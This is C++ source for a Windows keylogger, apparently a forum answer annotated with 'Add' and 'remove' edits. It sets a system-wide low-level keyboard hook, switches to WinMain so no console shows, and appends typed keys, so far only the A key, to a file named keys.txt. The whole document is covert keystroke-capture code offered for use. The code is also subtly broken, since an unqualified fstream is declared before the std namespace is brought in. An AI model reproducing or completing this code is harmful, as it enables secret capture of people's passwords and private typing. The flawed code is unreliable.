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#include <iostream>
#include <windows.h>
#include <fstream>
//Add:
//-------
#define VK_A 65
//-------
//Add these as global variables:
//-------
fstream plik;
HHOOK hKeyboardHook = 0;
//-------
using namespace std;
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam);
//remove main(), replace it with WinMain()
/*int main()
{
fstream plik;
HHOOK hKeyboardHook =0;
plik.open("keys.txt", ios::out);
plik.close();
return 0;
}*/
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
//Add:
//--------
plik.open("keys.txt", fstream::in | fstream::out | fstream::app);
//--------
if (nCode >= 0)
{
if (wParam == WM_KEYUP)
{
switch(pKbdLLHookStruct->vkCode)
{
//remove:
//---------
/*
case 'VK_A' : cout <<"A"; break;
case 'VK_a' : cout <<"a"; break;
case 'VK_B' : cout <<"B"; break;
*/
//---------
//Add:
//--------
case VK_A :
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
plik << "A";
else
plik << "a";
break;
//--------
}
}
}
//Add:
//--------
plik.close();
//--------
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
//Add WinMain() to replace main() :
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
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